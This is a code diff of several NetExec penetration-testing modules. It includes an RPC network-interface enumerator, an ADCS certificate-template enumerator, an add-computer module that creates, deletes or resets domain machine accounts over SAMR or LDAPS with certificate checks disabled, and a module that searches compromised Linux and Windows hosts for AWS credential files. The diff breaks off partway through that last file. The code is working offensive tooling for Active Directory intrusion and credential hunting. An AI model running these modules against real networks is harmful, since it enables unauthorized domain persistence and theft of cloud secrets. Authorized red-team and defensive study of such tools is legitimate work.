-    supported_protocols = ["smb", "wmi"]
-    opsec_safe = True
-    multiple_hosts = False
-
-    def options(self, context, module_options):
-        """ """
-
-    def on_login(self, context, connection):
-        authLevel = RPC_C_AUTHN_LEVEL_NONE
-
-        stringBinding = r"ncacn_ip_tcp:%s" % connection.host
-        rpctransport = transport.DCERPCTransportFactory(stringBinding)
-
-        portmap = rpctransport.get_dce_rpc()
-        portmap.set_auth_level(authLevel)
-        portmap.connect()
-
-        objExporter = IObjectExporter(portmap)
-        bindings = objExporter.ServerAlive2()
-
-        context.log.debug("[*] Retrieving network interface of " + connection.host)
-
-        # NetworkAddr = bindings[0]['aNetworkAddr']
-        for binding in bindings:
-            NetworkAddr = binding["aNetworkAddr"]
-            try:
-                ip_address(NetworkAddr[:-1])
-                context.log.highlight("Address: " + NetworkAddr)
-            except Exception as e:
-                context.log.debug(e)

nxc/modules/adcs.py

@@ -1,5 +1,3 @@
-#!/usr/bin/env python3
-# -*- coding: utf-8 -*-
 import re
 from impacket.ldap import ldap, ldapasn1
 from impacket.ldap.ldap import LDAPSearchError
@@ -15,8 +13,6 @@ class NXCModule:
     name = "adcs"
     description = "Find PKI Enrollment Services in Active Directory and Certificate Templates Names"
     supported_protocols = ["ldap"]
-    opsec_safe = True
-    multiple_hosts = True
 
     def __init__(self, context=None, module_options=None):
         self.context = context
@@ -29,8 +25,7 @@ class NXCModule:
         SERVER             PKI Enrollment Server to enumerate templates for. Default is None, use CN name
         BASE_DN            The base domain name for the LDAP query
         """
-        self.context = context
-        self.regex = re.compile("(https?://.+)")
+        self.regex = re.compile(r"(https?://.+)")
 
         self.server = None
         self.base_dn = None
@@ -40,23 +35,22 @@ class NXCModule:
             self.base_dn = module_options["BASE_DN"]
 
     def on_login(self, context, connection):
-        """
-        On a successful LDAP login we perform a search for all PKI Enrollment Server or Certificate Templates Names.
-        """
+        """On a successful LDAP login we perform a search for all PKI Enrollment Server or Certificate Templates Names."""
+        self.context = context
         if self.server is None:
             search_filter = "(objectClass=pKIEnrollmentService)"
         else:
             search_filter = f"(distinguishedName=CN={self.server},CN=Enrollment Services,CN=Public Key Services,CN=Services,CN=Configuration,"
-            self.context.log.highlight("Using PKI CN: {}".format(self.server))
+            self.context.log.highlight(f"Using PKI CN: {self.server}")
 
-        context.log.display("Starting LDAP search with search filter '{}'".format(search_filter))
+        context.log.display(f"Starting LDAP search with search filter '{search_filter}'")
 
         try:
             sc = ldap.SimplePagedResultsControl()
-            base_dn_root = connection.ldapConnection._baseDN if self.base_dn is None else self.base_dn
+            base_dn_root = connection.ldap_connection._baseDN if self.base_dn is None else self.base_dn
 
             if self.server is None:
-                resp = connection.ldapConnection.search(
+                connection.ldap_connection.search(
                     searchFilter=search_filter,
                     attributes=[],
                     sizeLimit=0,
@@ -65,7 +59,7 @@ class NXCModule:
                     searchBase="CN=Configuration," + base_dn_root,
                 )
             else:
-                resp = connection.ldapConnection.search(
+                connection.ldap_connection.search(
                     searchFilter=search_filter + base_dn_root + ")",
                     attributes=["certificateTemplates"],
                     sizeLimit=0,
@@ -74,12 +68,13 @@ class NXCModule:
                     searchBase="CN=Configuration," + base_dn_root,
                 )
         except LDAPSearchError as e:
-            context.log.fail("Obtained unexpected exception: {}".format(str(e)))
+            if "noSuchObject" in str(e):
+                context.log.fail("No ADCS infrastructure found.")
+            else:
+                context.log.fail(f"Obtained unexpected exception: {e}")
 
     def process_servers(self, item):
-        """
-        Function that is called to process the items obtain by the LDAP search when listing PKI Enrollment Servers.
-        """
+        """Function that is called to process the items obtain by the LDAP search when listing PKI Enrollment Servers."""
         if not isinstance(item, ldapasn1.SearchResultEntry):
             return
 
@@ -103,19 +98,17 @@ class NXCModule:
                             urls.append(match.group(1))
         except Exception as e:
             entry = host_name or "item"
-            self.context.log.fail("Skipping {}, cannot process LDAP entry due to error: '{}'".format(entry, str(e)))
+            self.context.log.fail(f"Skipping {entry}, cannot process LDAP entry due to error: '{e!s}'")
 
         if host_name:
-            self.context.log.highlight("Found PKI Enrollment Server: {}".format(host_name))
+            self.context.log.highlight(f"Found PKI Enrollment Server: {host_name}")
         if cn:
-            self.context.log.highlight("Found CN: {}".format(cn))
+            self.context.log.highlight(f"Found CN: {cn}")
         for url in urls:
-            self.context.log.highlight("Found PKI Enrollment WebService: {}".format(url))
+            self.context.log.highlight(f"Found PKI Enrollment WebService: {url}")
 
     def process_templates(self, item):
-        """
-        Function that is called to process the items obtain by the LDAP search when listing Certificate Templates Names for a specific PKI Enrollment Server.
-        """
+        """Function that is called to process the items obtain by the LDAP search when listing Certificate Templates Names for a specific PKI Enrollment Server."""
         if not isinstance(item, ldapasn1.SearchResultEntry):
             return
 
@@ -134,4 +127,4 @@ class NXCModule:
 
         if templates:
             for t in templates:
-                self.context.log.highlight("Found Certificate Template: {}".format(t))
+                self.context.log.highlight(f"Found Certificate Template: {t}")

nxc/modules/add-computer.py

@@ -0,0 +1,300 @@
+import ssl
+import ldap3
+import sys
+from impacket.dcerpc.v5 import samr, epm, transport
+from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_GSS_NEGOTIATE
+
+
+class NXCModule:
+    """
+    Module by CyberCelt: @Cyb3rC3lt
+     Initial module:
+        https://github.com/Cyb3rC3lt/CrackMapExec-Modules
+    Thanks to the guys at impacket for the original code
+    """
+
+    name = "add-computer"
+    description = "Adds or deletes a domain computer"
+    supported_protocols = ["smb"]
+
+    def options(self, context, module_options):
+        """
+        add-computer: Specify add-computer to call the module using smb
+        NAME: Specify the NAME option to name the Computer to be added
+        PASSWORD: Specify the PASSWORD option to supply a password for the Computer to be added
+        DELETE: Specify DELETE to remove a Computer
+        CHANGEPW: Specify CHANGEPW to modify a Computer password
+        Usage: nxc smb $DC-IP -u Username -p Password -M add-computer -o NAME="BADPC" PASSWORD="Password1"
+               nxc smb $DC-IP -u Username -p Password -M add-computer -o NAME="BADPC" DELETE=True
+               nxc smb $DC-IP -u Username -p Password -M add-computer -o NAME="BADPC" PASSWORD="Password2" CHANGEPW=True
+        """
+        self.__baseDN = None
+        self.__computerGroup = None
+        self.__method = "SAMR"
+        self.__noAdd = False
+        self.__delete = False
+        self.noLDAPRequired = False
+
+        if "DELETE" in module_options:
+            self.__delete = True
+
+        if "CHANGEPW" in module_options and ("NAME" not in module_options or "PASSWORD" not in module_options):
+            context.log.error("NAME  and PASSWORD options are required!")
+            sys.exit(1)
+        elif "CHANGEPW" in module_options:
+            self.__noAdd = True
+
+        if "NAME" in module_options:
+            self.__computerName = module_options["NAME"]
+            if self.__computerName[-1] != "$":
+                self.__computerName += "$"
+        else:
+            context.log.error("NAME option is required!")
+            sys.exit(1)
+
+        if "PASSWORD" in module_options:
+            self.__computerPassword = module_options["PASSWORD"]
+        elif "PASSWORD" not in module_options and not self.__delete:
+            context.log.error("PASSWORD option is required!")
+            sys.exit(1)
+
+    def on_login(self, context, connection):
+        self.__domain = connection.domain
+        self.__domainNetbios = connection.domain
+        self.__kdcHost = connection.kdcHost
+        self.__username = connection.username
+        self.__password = connection.password
+        self.__host = connection.host
+        self.__port = context.smb_server_port
+        self.__aesKey = context.aesKey
+        self.__hashes = context.hash
+        self.__doKerberos = connection.kerberos
+        self.__nthash = ""
+        self.__lmhash = ""
+
+        if context.hash and ":" in context.hash[0]:
+            hashList = context.hash[0].split(":")
+            self.__nthash = hashList[-1]
+            self.__lmhash = hashList[0]
+        elif context.hash and ":" not in context.hash[0]:
+            self.__nthash = context.hash[0]
+            self.__lmhash = "00000000000000000000000000000000"
+
+        # First try to add via SAMR over SMB
+        self.do_samr_add(context)
+
+        # If SAMR fails now try over LDAPS
+        if not self.noLDAPRequired:
+            self.do_ldaps_add(connection, context)
+            
+    def do_samr_add(self, context):
+        """
+        Connects to a target server and performs various operations related to adding or deleting machine accounts.
+
+        Args:
+        ----
+            context (object): The context object.
+
+        Returns:
+        -------
+            None
+        """
+        string_binding = epm.hept_map(self.__host, samr.MSRPC_UUID_SAMR, protocol="ncacn_np")
+        string_binding = string_binding.replace(self.__host, self.__kdcHost) if self.__kdcHost is not None else string_binding
+
+        rpc_transport = transport.DCERPCTransportFactory(string_binding)
+        rpc_transport.setRemoteHost(self.__host)
+
+        if hasattr(rpc_transport, "set_credentials"):
+            # This method exists only for selected protocol sequences.
+            rpc_transport.set_credentials(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash, self.__aesKey)
+
+        rpc_transport.set_kerberos(self.__doKerberos, self.__kdcHost)
+
+        dce = rpc_transport.get_dce_rpc()
+        if self.__doKerberos:
+            dce.set_auth_type(RPC_C_AUTHN_GSS_NEGOTIATE)
+
+        dce.connect()
+        dce.bind(samr.MSRPC_UUID_SAMR)
+
+        samr_connect_response = samr.hSamrConnect5(dce, f"\\\\{self.__kdcHost}\x00", samr.SAM_SERVER_ENUMERATE_DOMAINS | samr.SAM_SERVER_LOOKUP_DOMAIN)
+        serv_handle = samr_connect_response["ServerHandle"]
+
+        samr_enum_response = samr.hSamrEnumerateDomainsInSamServer(dce, serv_handle)
+        domains = samr_enum_response["Buffer"]["Buffer"]
+        domains_without_builtin = [domain for domain in domains if domain["Name"].lower() != "builtin"]
+        if len(domains_without_builtin) > 1:
+            domain = list(filter(lambda x: x["Name"].lower() == self.__domainNetbios, domains))
+            if len(domain) != 1:
+                context.log.highlight("{}".format('This domain does not exist: "' + self.__domainNetbios + '"'))
+                context.log.highlight("Available domain(s):")
+                for domain in domains:
+                    context.log.highlight(f" * {domain['Name']}")
+                raise Exception
+            else:
+                selected_domain = domain[0]["Name"]
+        else:
+            selected_domain = domains_without_builtin[0]["Name"]
+
+        samr_lookup_domain_response = samr.hSamrLookupDomainInSamServer(dce, serv_handle, selected_domain)
+        domain_sid = samr_lookup_domain_response["DomainId"]
+
+        context.log.debug(f"Opening domain {selected_domain}...")
+        samr_open_domain_response = samr.hSamrOpenDomain(dce, serv_handle, samr.DOMAIN_LOOKUP | samr.DOMAIN_CREATE_USER, domain_sid)
+        domain_handle = samr_open_domain_response["DomainHandle"]
+
+        if self.__noAdd or self.__delete:
+            try:
+                check_for_user = samr.hSamrLookupNamesInDomain(dce, domain_handle, [self.__computerName])
+            except samr.DCERPCSessionError as e:
+                if e.error_code == 0xC0000073:
+                    context.log.highlight(f"{self.__computerName} not found in domain {selected_domain}")
+                    self.noLDAPRequired = True
+                context.log.exception(e)
+
+            user_rid = check_for_user["RelativeIds"]["Element"][0]
+            if self.__delete:
+                access = samr.DELETE
+                message = "delete"
+            else:
+                access = samr.USER_FORCE_PASSWORD_CHANGE
+                message = "set the password for"
+            try:
+                open_user = samr.hSamrOpenUser(dce, domain_handle, access, user_rid)
+                user_handle = open_user["UserHandle"]
+            except samr.DCERPCSessionError as e:
+                if e.error_code == 0xC0000022:
+                    context.log.highlight(f"{self.__username + ' does not have the right to ' + message + ' ' + self.__computerName}")
+                    self.noLDAPRequired = True
+                context.log.exception(e)
+        else:
+            if self.__computerName is not None:
+                try:
+                    samr.hSamrLookupNamesInDomain(dce, domain_handle, [self.__computerName])
+                    self.noLDAPRequired = True
+                    context.log.highlight("{}".format('Computer account already exists with the name: "' + self.__computerName + '"'))
+                except samr.DCERPCSessionError as e:
+                    if e.error_code != 0xC0000073:
+                        raise
+            else:
+                found_unused = False
+                while not found_unused:
+                    self.__computerName = self.generateComputerName()
+                    try:
+                        samr.hSamrLookupNamesInDomain(dce, domain_handle, [self.__computerName])
+                    except samr.DCERPCSessionError as e:
+                        if e.error_code == 0xC0000073:
+                            found_unused = True
+                        else:
+                            raise
+            try:
+                create_user = samr.hSamrCreateUser2InDomain(
+                    dce,
+                    domain_handle,
+                    self.__computerName,
+                    samr.USER_WORKSTATION_TRUST_ACCOUNT,
+                    samr.USER_FORCE_PASSWORD_CHANGE,
+                )
+                self.noLDAPRequired = True
+                context.log.highlight('Successfully added the machine account: "' + self.__computerName + '" with Password: "' + self.__computerPassword + '"')
+            except samr.DCERPCSessionError as e:
+                if e.error_code == 0xC0000022:
+                    context.log.highlight("{}".format('The following user does not have the right to create a computer account: "' + self.__username + '"'))
+                elif e.error_code == 0xC00002E7:
+                    context.log.highlight("{}".format('The following user exceeded their machine account quota: "' + self.__username + '"'))
+                context.log.exception(e)
+            user_handle = create_user["UserHandle"]
+
+        if self.__delete:
+            samr.hSamrDeleteUser(dce, user_handle)
+            context.log.highlight("{}".format('Successfully deleted the "' + self.__computerName + '" Computer account'))
+            self.noLDAPRequired = True
+            user_handle = None
+        else:
+            samr.hSamrSetPasswordInternal4New(dce, user_handle, self.__computerPassword)
+            if self.__noAdd:
+                context.log.highlight("{}".format('Successfully set the password of machine "' + self.__computerName + '" with password "' + self.__computerPassword + '"'))
+                self.noLDAPRequired = True
+            else:
+                check_for_user = samr.hSamrLookupNamesInDomain(dce, domain_handle, [self.__computerName])
+                user_rid = check_for_user["RelativeIds"]["Element"][0]
+                open_user = samr.hSamrOpenUser(dce, domain_handle, samr.MAXIMUM_ALLOWED, user_rid)
+                user_handle = open_user["UserHandle"]
+                req = samr.SAMPR_USER_INFO_BUFFER()
+                req["tag"] = samr.USER_INFORMATION_CLASS.UserControlInformation
+                req["Control"]["UserAccountControl"] = samr.USER_WORKSTATION_TRUST_ACCOUNT
+                samr.hSamrSetInformationUser2(dce, user_handle, req)
+                if not self.noLDAPRequired:
+                    context.log.highlight("{}".format('Successfully added the machine account "' + self.__computerName + '" with Password: "' + self.__computerPassword + '"'))
+                self.noLDAPRequired = True
+
+            if user_handle is not None:
+                samr.hSamrCloseHandle(dce, user_handle)
+            if domain_handle is not None:
+                samr.hSamrCloseHandle(dce, domain_handle)
+            if serv_handle is not None:
+                samr.hSamrCloseHandle(dce, serv_handle)
+            dce.disconnect()
+
+    def do_ldaps_add(self, connection, context):
+        """
+        Performs an LDAPS add operation.
+
+        Args:
+        ----
+            connection (Connection): The LDAP connection object.
+            context (Context): The context object.
+
+        Returns:
+        -------
+            None
+
+        Raises:
+        ------
+            None
+        """
+        ldap_domain = connection.domain.replace(".", ",dc=")
+        spns = [
+            f"HOST/{self.__computerName}",
+            f"HOST/{self.__computerName}.{connection.domain}",
+            f"RestrictedKrbHost/{self.__computerName}",
+            f"RestrictedKrbHost/{self.__computerName}.{connection.domain}",
+        ]
+        ucd = {
+            "dnsHostName": f"{self.__computerName}.{connection.domain}",
+            "userAccountControl": 0x1000,
+            "servicePrincipalName": spns,
+            "sAMAccountName": self.__computerName,
+            "unicodePwd": f"{self.__computerPassword}".encode("utf-16-le")
+        }
+        tls = ldap3.Tls(validate=ssl.CERT_NONE, version=ssl.PROTOCOL_TLSv1_2, ciphers="ALL:@SECLEVEL=0")
+        ldap_server = ldap3.Server(connection.host, use_ssl=True, port=636, get_info=ldap3.ALL, tls=tls)
+        c = ldap3.Connection(ldap_server, f"{connection.username}@{connection.domain}", connection.password)
+        c.bind()
+
+        if self.__delete:
+            result = c.delete(f"cn={self.__computerName},cn=Computers,dc={ldap_domain}")
+            if result:
+                context.log.highlight(f'Successfully deleted the "{self.__computerName}" Computer account')
+            elif result is False and c.last_error == "noSuchObject":
+                context.log.highlight(f'Computer named "{self.__computerName}" was not found')
+            elif result is False and c.last_error == "insufficientAccessRights":
+                context.log.highlight(f'Insufficient Access Rights to delete the Computer "{self.__computerName}"')
+            else:
+                context.log.highlight(f'Unable to delete the "{self.__computerName}" Computer account. The error was: {c.last_error}')
+        else:
+            result = c.add(
+                f"cn={self.__computerName},cn=Computers,dc={ldap_domain}",
+                ["top", "person", "organizationalPerson", "user", "computer"],
+                ucd
+            )
+            if result:
+                context.log.highlight(f'Successfully added the machine account: "{self.__computerName}" with Password: "{self.__computerPassword}"')
+                context.log.highlight("You can try to verify this with the nxc command:")
+                context.log.highlight(f"nxc ldap {connection.host} -u {connection.username} -p {connection.password} -M group-mem -o GROUP='Domain Computers'")
+            elif result is False and c.last_error == "entryAlreadyExists":
+                context.log.highlight(f"The Computer account '{self.__computerName}' already exists")
+            elif not result:
+                context.log.highlight(f"Unable to add the '{self.__computerName}' Computer account. The error was: {c.last_error}")
+            c.unbind()

nxc/modules/add_computer.py

@@ -1,307 +0,0 @@
-#!/usr/bin/env python3
-
-# -*- coding: utf-8 -*-
-
-import ldap3
-from impacket.dcerpc.v5 import samr, epm, transport
-
-class NXCModule:
-    '''
-    Module by CyberCelt: @Cyb3rC3lt
-     Initial module:
-        https://github.com/Cyb3rC3lt/CrackMapExec-Modules
-    Thanks to the guys at impacket for the original code
-    '''
-
-    name = 'add-computer'
-    description = 'Adds or deletes a domain computer'
-    supported_protocols = ['smb']
-    opsec_safe = True
-    multiple_hosts = False
-
-    def options(self, context, module_options):
-        '''
-        add-computer: Specify add-computer to call the module using smb
-        NAME: Specify the NAME option to name the Computer to be added
-        PASSWORD: Specify the PASSWORD option to supply a password for the Computer to be added
-        DELETE: Specify DELETE to remove a Computer
-        CHANGEPW: Specify CHANGEPW to modify a Computer password
-        Usage: nxc smb $DC-IP -u Username -p Password -M add-computer -o NAME="BADPC" PASSWORD="Password1"
-               nxc smb $DC-IP -u Username -p Password -M add-computer -o NAME="BADPC" DELETE=True
-               nxc smb $DC-IP -u Username -p Password -M add-computer -o NAME="BADPC" PASSWORD="Password2" CHANGEPW=True
-        '''
-
-        self.__baseDN = None
-        self.__computerGroup = None
-        self.__method = "SAMR"
-        self.__noAdd = False
-        self.__delete = False
-        self.noLDAPRequired = False
-
-        if 'DELETE' in module_options:
-            self.__delete = True
-
-        if 'CHANGEPW' in module_options and ('NAME' not in module_options or 'PASSWORD' not in module_options):
-            context.log.error('NAME  and PASSWORD options are required!')
-        elif 'CHANGEPW' in module_options:
-                self.__noAdd = True
-
-        if 'NAME' in module_options:
-            self.__computerName = module_options['NAME']
-            if self.__computerName[-1] != '$':
-                self.__computerName += '$'
-        else:
-            context.log.error('NAME option is required!')
-            exit(1)
-
-        if 'PASSWORD' in module_options:
-            self.__computerPassword = module_options['PASSWORD']
-        elif 'PASSWORD' not in module_options and not self.__delete:
-            context.log.error('PASSWORD option is required!')
-            exit(1)
-
-    def on_login(self, context, connection):
-
-        #Set some variables
-        self.__domain = connection.domain
-        self.__domainNetbios = connection.domain
-        self.__kdcHost = connection.hostname + "." + connection.domain
-        self.__target = self.__kdcHost
-        self.__username = connection.username
-        self.__password = connection.password
-        self.__targetIp = connection.host
-        self.__port = context.smb_server_port
-        self.__aesKey = context.aesKey
-        self.__hashes = context.hash
-        self.__doKerberos = connection.kerberos
-        self.__nthash = ""
-        self.__lmhash = ""
-
-        if context.hash and ":" in context.hash[0]:
-            hashList = context.hash[0].split(":")
-            self.__nthash = hashList[-1]
-            self.__lmhash = hashList[0]
-        elif context.hash and ":" not in context.hash[0]:
-            self.__nthash = context.hash[0]
-            self.__lmhash = "00000000000000000000000000000000"
-
-        # First try to add via SAMR over SMB
-        self.doSAMRAdd(context)
-
-        # If SAMR fails now try over LDAPS
-        if not self.noLDAPRequired:
-         self.doLDAPSAdd(connection,context)
-        else:
-            exit(1)
-
-    def doSAMRAdd(self,context):
-
-        if self.__targetIp is not None:
-            stringBinding = epm.hept_map(self.__targetIp, samr.MSRPC_UUID_SAMR, protocol = 'ncacn_np')
-        else:
-            stringBinding = epm.hept_map(self.__target, samr.MSRPC_UUID_SAMR, protocol = 'ncacn_np')
-        rpctransport = transport.DCERPCTransportFactory(stringBinding)
-        rpctransport.set_dport(self.__port)
-
-        if self.__targetIp is not None:
-            rpctransport.setRemoteHost(self.__targetIp)
-            rpctransport.setRemoteName(self.__target)
-
-        if hasattr(rpctransport, 'set_credentials'):
-            # This method exists only for selected protocol sequences.
-            rpctransport.set_credentials(self.__username, self.__password, self.__domain, self.__lmhash,
-                                         self.__nthash, self.__aesKey)
-
-        rpctransport.set_kerberos(self.__doKerberos, self.__kdcHost)
-
-        dce = rpctransport.get_dce_rpc()
-        servHandle = None
-        domainHandle = None
-        userHandle = None
-        try:
-            dce.connect()
-            dce.bind(samr.MSRPC_UUID_SAMR)
-
-            samrConnectResponse = samr.hSamrConnect5(dce, '\\\\%s\x00' % self.__target,
-                samr.SAM_SERVER_ENUMERATE_DOMAINS | samr.SAM_SERVER_LOOKUP_DOMAIN )
-            servHandle = samrConnectResponse['ServerHandle']
-
-            samrEnumResponse = samr.hSamrEnumerateDomainsInSamServer(dce, servHandle)
-            domains = samrEnumResponse['Buffer']['Buffer']
-            domainsWithoutBuiltin = list(filter(lambda x : x['Name'].lower() != 'builtin', domains))
-
-            if len(domainsWithoutBuiltin) > 1:
-                domain = list(filter(lambda x : x['Name'].lower() == self.__domainNetbios, domains))
-                if len(domain) != 1:
-                    context.log.highlight(u'{}'.format(
-                        'This domain does not exist: "' + self.__domainNetbios + '"'))
-                    logging.critical("Available domain(s):")
-                    for domain in domains:
-                        logging.error(" * %s" % domain['Name'])
-                    raise Exception()
-                else:
-                    selectedDomain = domain[0]['Name']
-            else:
-                selectedDomain = domainsWithoutBuiltin[0]['Name']
-
-            samrLookupDomainResponse = samr.hSamrLookupDomainInSamServer(dce, servHandle, selectedDomain)
-            domainSID = samrLookupDomainResponse['DomainId']
-
-            if logging.getLogger().level == logging.DEBUG:
-                logging.info("Opening domain %s..." % selectedDomain)
-            samrOpenDomainResponse = samr.hSamrOpenDomain(dce, servHandle, samr.DOMAIN_LOOKUP | samr.DOMAIN_CREATE_USER , domainSID)
-            domainHandle = samrOpenDomainResponse['DomainHandle']
-
-            if self.__noAdd or self.__delete:
-                try:
-                    checkForUser = samr.hSamrLookupNamesInDomain(dce, domainHandle, [self.__computerName])
-                except samr.DCERPCSessionError as e:
-                    if e.error_code == 0xc0000073:
-                        context.log.highlight(u'{}'.format(
-                            self.__computerName + ' not found in domain ' + selectedDomain))
-                        self.noLDAPRequired = True
-                        raise Exception()
-                    else:
-                        raise
-
-                userRID = checkForUser['RelativeIds']['Element'][0]
-                if self.__delete:
-                    access = samr.DELETE
-                    message = "delete"
-                else:
-                    access = samr.USER_FORCE_PASSWORD_CHANGE
-                    message = "set the password for"
-                try:
-                    openUser = samr.hSamrOpenUser(dce, domainHandle, access, userRID)
-                    userHandle = openUser['UserHandle']
-                except samr.DCERPCSessionError as e:
-                    if e.error_code == 0xc0000022:
-                        context.log.highlight(u'{}'.format(
-                            self.__username + ' does not have the right to ' + message + " " + self.__computerName))
-                        self.noLDAPRequired = True
-                        raise Exception()
-                    else:
-                        raise
-            else:
-                if self.__computerName is not None:
-                    try:
-                        checkForUser = samr.hSamrLookupNamesInDomain(dce, domainHandle, [self.__computerName])
-                        self.noLDAPRequired = True
-                        context.log.highlight(u'{}'.format(
-                            'Computer account already exists with the name: "' + self.__computerName + '"'))
-                        raise Exception()
-                    except samr.DCERPCSessionError as e:
-                        if e.error_code != 0xc0000073:
-                            raise
-                else:
-                    foundUnused = False
-                    while not foundUnused:
-                        self.__computerName = self.generateComputerName()
-                        try:
-                            checkForUser = samr.hSamrLookupNamesInDomain(dce, domainHandle, [self.__computerName])
-                        except samr.DCERPCSessionError as e:
-                            if e.error_code == 0xc0000073:
-                                foundUnused = True
-                            else:
-                                raise
-                try:
-                    createUser = samr.hSamrCreateUser2InDomain(dce, domainHandle, self.__computerName, samr.USER_WORKSTATION_TRUST_ACCOUNT, samr.USER_FORCE_PASSWORD_CHANGE,)
-                    self.noLDAPRequired = True
-                    context.log.highlight('Successfully added the machine account: "' + self.__computerName + '" with Password: "' + self.__computerPassword + '"')
-                except samr.DCERPCSessionError as e:
-                    if e.error_code == 0xc0000022:
-                        context.log.highlight(u'{}'.format(
-                            'The following user does not have the right to create a computer account: "' + self.__username + '"'))
-                        raise Exception()
-                    elif e.error_code == 0xc00002e7:
-                        context.log.highlight(u'{}'.format(
-                            'The following user exceeded their machine account quota: "' + self.__username + '"'))
-                        raise Exception()
-                    else:
-                        raise
-                userHandle = createUser['UserHandle']
-
-            if self.__delete:
-                samr.hSamrDeleteUser(dce, userHandle)
-                context.log.highlight(u'{}'.format('Successfully deleted the "' + self.__computerName + '" Computer account'))
-                self.noLDAPRequired=True
-                userHandle = None
-            else:
-                samr.hSamrSetPasswordInternal4New(dce, userHandle, self.__computerPassword)
-                if self.__noAdd:
-                    context.log.highlight(u'{}'.format(
-                        'Successfully set the password of machine "' + self.__computerName + '" with password "' + self.__computerPassword + '"'))
-                    self.noLDAPRequired=True
-                else:
-                    checkForUser = samr.hSamrLookupNamesInDomain(dce, domainHandle, [self.__computerName])
-                    userRID = checkForUser['RelativeIds']['Element'][0]
-                    openUser = samr.hSamrOpenUser(dce, domainHandle, samr.MAXIMUM_ALLOWED, userRID)
-                    userHandle = openUser['UserHandle']
-                    req = samr.SAMPR_USER_INFO_BUFFER()
-                    req['tag'] = samr.USER_INFORMATION_CLASS.UserControlInformation
-                    req['Control']['UserAccountControl'] = samr.USER_WORKSTATION_TRUST_ACCOUNT
-                    samr.hSamrSetInformationUser2(dce, userHandle, req)
-                    if not self.noLDAPRequired:
-                       context.log.highlight(u'{}'.format(
-                        'Successfully added the machine account "' + self.__computerName + '" with Password: "' + self.__computerPassword + '"'))
-                    self.noLDAPRequired = True
-
-        except Exception as e:
-            if logging.getLogger().level == logging.DEBUG:
-                import traceback
-                traceback.print_exc()
-        finally:
-            if userHandle is not None:
-                samr.hSamrCloseHandle(dce, userHandle)
-            if domainHandle is not None:
-                samr.hSamrCloseHandle(dce, domainHandle)
-            if servHandle is not None:
-                samr.hSamrCloseHandle(dce, servHandle)
-            dce.disconnect()
-
-    def doLDAPSAdd(self, connection, context):
-        ldap_domain = connection.domain.replace(".", ",dc=")
-        spns = [
-            'HOST/%s' % self.__computerName,
-            'HOST/%s.%s' % (self.__computerName, connection.domain),
-            'RestrictedKrbHost/%s' % self.__computerName,
-            'RestrictedKrbHost/%s.%s' % (self.__computerName, connection.domain),
-        ]
-        ucd = {
-            'dnsHostName': '%s.%s' % (self.__computerName, connection.domain),
-            'userAccountControl': 0x1000,
-            'servicePrincipalName': spns,
-            'sAMAccountName': self.__computerName,
-            'unicodePwd': ('"%s"' % self.__computerPassword).encode('utf-16-le')
-        }
-        tls = ldap3.Tls(validate=ssl.CERT_NONE, version=ssl.PROTOCOL_TLSv1_2, ciphers='ALL:@SECLEVEL=0')
-        ldapServer = ldap3.Server(connection.host, use_ssl=True, port=636, get_info=ldap3.ALL, tls=tls)
-        c = Connection(ldapServer, connection.username + '@' + connection.domain, connection.password)
-        c.bind()
-
-        if (self.__delete):
-            result = c.delete("cn=" + self.__computerName + ",cn=Computers,dc=" + ldap_domain)
-            if result:
-                context.log.highlight(u'{}'.format('Successfully deleted the "' + self.__computerName + '" Computer account'))
-            elif result == False and c.last_error == "noSuchObject":
-                context.log.highlight(u'{}'.format('Computer named "' + self.__computerName + '" was not found'))
-            elif result == False and c.last_error == "insufficientAccessRights":
-                context.log.highlight(
-                    u'{}'.format('Insufficient Access Rights to delete the Computer "' + self.__computerName + '"'))
-            else:
-                context.log.highlight(u'{}'.format(
-                    'Unable to delete the "' + self.__computerName + '" Computer account. The error was: ' + c.last_error))
-        else:
-            result = c.add("cn=" + self.__computerName + ",cn=Computers,dc=" + ldap_domain,
-                           ['top', 'person', 'organizationalPerson', 'user', 'computer'], ucd)
-            if result:
-                context.log.highlight('Successfully added the machine account: "' + self.__computerName + '" with Password: "' + self.__computerPassword + '"')
-                context.log.highlight(u'{}'.format('You can try to verify this with the nxc command:'))
-                context.log.highlight(u'{}'.format(
-                    'nxc ldap ' + connection.host + ' -u ' + connection.username + ' -p ' + connection.password + ' -M group-mem -o GROUP="Domain Computers"'))
-            elif result == False and c.last_error == "entryAlreadyExists":
-                context.log.highlight(u'{}'.format('The Computer account "' + self.__computerName + '" already exists'))
-            elif not result:
-                context.log.highlight(u'{}'.format(
-                    'Unable to add the "' + self.__computerName + '" Computer account. The error was: ' + c.last_error))
-        c.unbind()

nxc/modules/aws-credentials.py

@@ -0,0 +1,46 @@
+class NXCModule:
+    """
+    Search for aws credentials files on linux and windows machines
+
+    Module by Fortress
+    """
+
+    name = "aws-credentials"
+    description = "Search for aws credentials files."
+    supported_protocols = ["ssh", "smb", "winrm"]
+
+    def __init__(self):
+        self.search_path_linux = "'/home/' '/tmp/'"
+        self.search_path_win = "'C:\\Users\\', 'C:\\ProgramData\\AWSCLI\\', 'C:\\Temp\\'"
+
+    def options(self, context, module_options):
+        r"""
+        SEARCH_PATH_LINUX	Linux location where to search for aws credentials related files
+                                Default: "'/home/' '/tmp/'"
+
+        SEARCH_PATH_WIN		Windows locations where to search for aws credentials related files
+                                Default: "'C:\\Users\\', 'C:\\ProgramData\\AWSCLI\\', 'C:\\Temp\\'"
+        """
+        if "SEARCH_PATH_LINUX" in module_options:
+            self.search_path_linux = module_options["SEARCH_PATH_LINUX"]
+
+        if "SEARCH_PATH_WIN" in module_options:
+            self.search_path_win = module_options["SEARCH_PATH_WIN"]
+
+    def on_login(self, context, connection):
+        # search for aws_credentials-related files on linux systems
+        if "ssh" in context.protocol:
+            search_aws_creds_files_payload = f"find {self.search_path_linux} -type f  -name credentials -exec grep -l 'aws_' {{}} \\; 2>&1 | grep -v 'Permission denied$'"
+            search_aws_creds_files_cmd = f'/bin/bash -c "{search_aws_creds_files_payload}"'
+            output = connection.execute(search_aws_creds_files_cmd)
+        else:
+            # search for aws_credentials-related files on windows systems
+            # we have to exclude "Application Data" as this creates an infinite recursion, see: https://www.reddit.com/r/PowerShell/comments/17pctnv/symbolic_link_application_data_in_appdatalocal/
+            search_aws_creds_files_payload_win = f"Get-ChildItem -Path {self.search_path_win} -Recurse -Force -Include 'credentials' -ErrorAction SilentlyContinue | Where-Object {{ Select-String -Path $_.FullName -Pattern 'aws' -Quiet }} | Select-Object -ExpandProperty FullName"
